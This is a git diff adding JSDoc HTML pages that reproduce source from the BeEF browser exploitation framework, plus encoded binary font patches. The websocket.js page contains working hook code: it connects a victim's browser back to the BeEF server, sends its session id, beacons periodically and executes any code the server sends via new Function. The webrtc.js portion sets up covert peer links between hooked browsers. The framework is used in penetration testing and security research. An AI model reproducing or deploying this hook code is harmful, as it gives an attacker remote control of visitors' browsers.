+ * Used to set the RTC remote session
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.setRemote = function(message) {
+    globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
+       this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
+}
+
+/** 
+ * As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.doAnswer = function() {
+  beef.debug('Sending answer to peer.');
+  globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
+}
+
+/** 
+ * Helper method to determine what kind of ICE Candidate we've received
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
+  if (candidateSDP.indexOf("typ relay ") >= 0)
+    return "TURN";
+  if (candidateSDP.indexOf("typ srflx ") >= 0)
+    return "STUN";
+  if (candidateSDP.indexOf("typ host ") >= 0)
+    return "HOST";
+  return "UNKNOWN";
+}
+
+/**
+ * Event handler for successful addition of ICE Candidates
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
+  beef.debug('AddIceCandidate success.');
+}
+
+/**
+ * Event handler for unsuccessful addition of ICE Candidates
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
+  beef.debug('Failed to add Ice Candidate: ' + error.toString());
+}
+
+/** 
+ * If a peer hangs up (we bring down the peerconncetion via the stop() method)
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.onRemoteHangup = function() {
+  beef.debug('Session terminated.');
+  this.initiator = 0;
+  // transitionToWaiting();
+  this.stop();
+}
+
+/** 
+ * Bring down the peer connection
+ * @memberof beef.webrtc
+ */
+Beefwebrtc.prototype.stop = function() {
+  this.started = false; // we're no longer started
+  this.signalingReady = false; // signalling isn't ready
+  globalrtc[this.peerid].close(); // close the RTCPeerConnection option
+  globalrtc[this.peerid] = null; // Remove it
+  this.msgQueue.length = 0; // clear the msgqueue
+  rtcstealth = false; // no longer stealth
+  this.allgood = false; // allgood .. NAH UH
+}
+
+/**
+ * The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status
+ * These are the methods which are executed via the custom extension of the hook.js
+ * @memberof beef.webrtc
+ */
+beef.webrtc = {
+  // Start the RTCPeerConnection process
+  start: function(initiator,peer,turnjson,stunservers,verbose) {
+    if (peer in beefrtcs) {
+      // If the RTC peer is not in a good state, try kickng it off again
+      // This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/
+      if (beefrtcs[peer].allgood == false) {
+        beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);
+        beefrtcs[peer].initialize();
+      }
+    } else {
+      // Standard behaviour for new peer connections
+      beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);
+      beefrtcs[peer].initialize();
+    }
+  },
+
+  // Check the status of all my peers .. 
+  status: function(me) {
+    if (Object.keys(beefrtcs).length > 0) {
+      for (var k in beefrtcs) {
+        if (beefrtcs.hasOwnProperty(k)) {
+          beef.net.send('/rtcmessage',0,{peerid: k, message: "Status checking - allgood: " + beefrtcs[k].allgood});
+        }
+      }
+    } else {
+      beef.net.send('/rtcmessage',0,{peerid: me, message: "No peers?"});
+    }
+  }
+}
+beef.regCmp('beef.webrtc');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/websocket.js.html b/docs/websocket.js.html new file mode 100644 index 000000000..f691090ba --- /dev/null +++ b/docs/websocket.js.html @@ -0,0 +1,142 @@ + + + + + JSDoc: Source: websocket.js + + + + + + + + + + +
+ +

Source: websocket.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+
+/**
+ * Manage the WebSocket communication channel.
+ * This channel is much faster and responsive, and it's used automatically
+ * if the browser supports WebSockets AND beef.http.websocket.enable = true.
+ * @namespace beef.websocket
+ */
+
+beef.websocket = {
+
+    socket:null,
+    ws_poll_timeout: "<%= @ws_poll_timeout %>",
+    ws_connect_timeout: "<%= @ws_connect_timeout %>",
+
+    /**
+     * Initialize the WebSocket client object.
+     * Note: use WebSocketSecure only if the hooked origin is under https.
+     * Mixed-content in WS is quite different from a non-WS context.
+     */
+    init:function () {
+        var webSocketServer = beef.net.host;
+        var webSocketPort = "<%= @websocket_port %>";
+        var webSocketSecure = "<%= @websocket_secure %>";
+        var protocol = "ws://";
+
+        if(webSocketSecure && window.location.protocol=="https:"){
+            protocol = "wss://";
+            webSocketPort= "<%= @websocket_sec_port %>";
+        }
+
+        if (beef.browser.isFF() && !!window.MozWebSocket) {
+            beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
+        }else{
+            beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
+        }
+
+    },
+
+    /**
+     * Send Helo message to the BeEF server and start async polling.
+     */
+    start:function () {
+        new beef.websocket.init();
+        this.socket.onopen = function () {
+            beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
+            beef.websocket.alive();
+        };
+
+        this.socket.onmessage = function (message) {
+            // Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.
+            // That's why it needs to be evaluated first. Using Function is a bit better than pure eval().
+            // It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.
+            new Function(message.data)();
+        };
+
+        this.socket.onclose = function () {
+            setTimeout(function(){beef.websocket.start()}, 5000);
+        };
+    },
+
+    /**
+     * Send data back to BeEF. This is basically the same as beef.net.send,
+     * but doesn't queue commands.
+     * Example usage:
+     * beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
+     * '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
+     * '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
+     */
+    send:function (data) {
+        try {
+            this.socket.send(data);
+        }catch(err){}
+    },
+
+    /**
+     * Polling mechanism, to notify the BeEF server that the browser is still hooked,
+     * and the WebSocket channel still alive.
+     * todo: there is probably a more efficient way to do this. Double-check WebSocket API.
+     */
+    alive: function (){
+        beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
+        setTimeout("beef.websocket.alive()", parseInt(beef.websocket.ws_poll_timeout));
+    }
+};
+
+beef.regCmp('beef.websocket');
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + +

)CdQ3F!eKyF|9D2V!F-rhUpJ8J+l7g0OBBVM#THTI&O8)>EGR%u6Gd9D9pm5!S}%&6DxW}^f|7=Y zPoO3(pTZY#?(7(|!5}5Nn!D%DotZmlW)?smSMcEE<^aT$6gw#LlwubPI9BYTffL0! zyu-EPCnz{Y#ZR&1d{F!hr_NW!&#~mXis$jseXDo@U)-kR7sMBeUt-T&RQw9By@BF9 z3f?cpmw4m-R{RHncaC**(V--ipJ<~6LkW2fi6RVfh%vcYt9@z>&M0LBSf-Q|Et8wU zCt43_*JB)mHR71wb`K@~5Cizwp{`A2uuJ^_Bcl3k{7ree$8&@l?;^2nagS+NqCDBfkB?pJws=PbK~+A7|2 z{gCDJKI-i%m4LD$n{WIwWR|c+NRy`C1#)1sSBI7FiH6z-QkhY&Q_|%I3exQ zQ`X1M?cZH4^M&BSyr;2z$+^SZUMA*0001Z+HKHROw(}?!13=vX`$@Br+fGR zZ%e`5O6%Txi$Yrz0gF{}p>fY>OnlS0Uevf}oDXW;D{d2gcE<2)oFcV80@g$H)63L{HN*d{8kVzKVW(;E)$9N_%kx5Ku3R9WJbY?JW^G#k0Wdx>E$NBBVtKRLiL?sA*s%w`TdsNz1=+~FRNdB8&+@iBD0 zXFTC4C-8-Cwv(4U=LLQ~^Oa4^rG|OTr5?ItoaPMYxxh`%a*kVU z;HYGAjq6;IY{`*awo0DlOMw(hkrYdb(O28l;MYvSx*ChcQW4f^QL5UdE3HbqvbxB$pfSg`>Cj#;?~00;nMAg}==M6d%RaIhCe zARtS)01i=0um)3FSgr#ump{<1pq_<0a34Kp8x=7I1^|9 literal 0 HcmV?d00001 diff --git a/docs/fonts/OpenSans-Regular-webfont.eot b/docs/fonts/OpenSans-Regular-webfont.eot new file mode 100644 index 0000000000000000000000000000000000000000..6bbc3cf58cb011a6b4bf3cb1612ce212608f7274 GIT binary patch literal 19836 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 